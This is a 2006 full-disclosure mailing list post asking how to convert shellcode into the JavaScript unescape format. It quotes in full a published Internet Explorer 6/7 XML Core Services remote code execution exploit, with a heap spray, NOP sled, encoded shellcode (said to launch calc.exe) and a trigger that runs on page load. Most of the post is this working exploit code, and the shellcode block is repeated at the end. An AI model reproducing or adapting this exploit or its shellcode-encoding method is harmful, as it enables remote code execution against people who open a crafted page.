full-disclosure - How to covert shellcode to "HTML style" ?

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Message-ID: <6d933bc40611090144mbf9f436m462fc43fdae5729a@mail.gmail.com>
Date: Thu, 9 Nov 2006 17:44:36 +0800
From: "李继辉" <lotos.lee@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: How to covert shellcode to "HTML style" ?

For example ,I find This exploit:
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec
Exploit<http://www.milw0rm.com/exploits/2743>
*<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus 2.0//EN">
<!--
MS Internet Explorer 6/7 (XML Core Services)  Remote Code Execution Exploit

Author: n/a

Info:
http://blogs.securiteam.com/index.php/archives/721
http://isc.sans.org/diary.php?storyid=1823
http://xforce.iss.net/xforce/alerts/id/239

Found in the wild and was pointed out on securiteam's blog (cheers Gadi
Evron!)

Changed up the shellcode so it wouldn't be as evil for the viewers,
calc.exeis called.

/str0ke
-->

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120"
+
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424"
+
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304"
+
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0"
+
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A"
+
"%uFF57%u63E7%u6C61%u0063");

sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;

obj.open(new Object(),new Object(),new Object(),new Object(), new
Object());

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>

</body></html>
*
*So,How to covert shellcode to this style :*
*sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120"
+
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424"
+
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304"
+
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0"
+
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A"
+
"%uFF57%u63E7%u6C61%u0063");
*

Content of type "text/html" skipped

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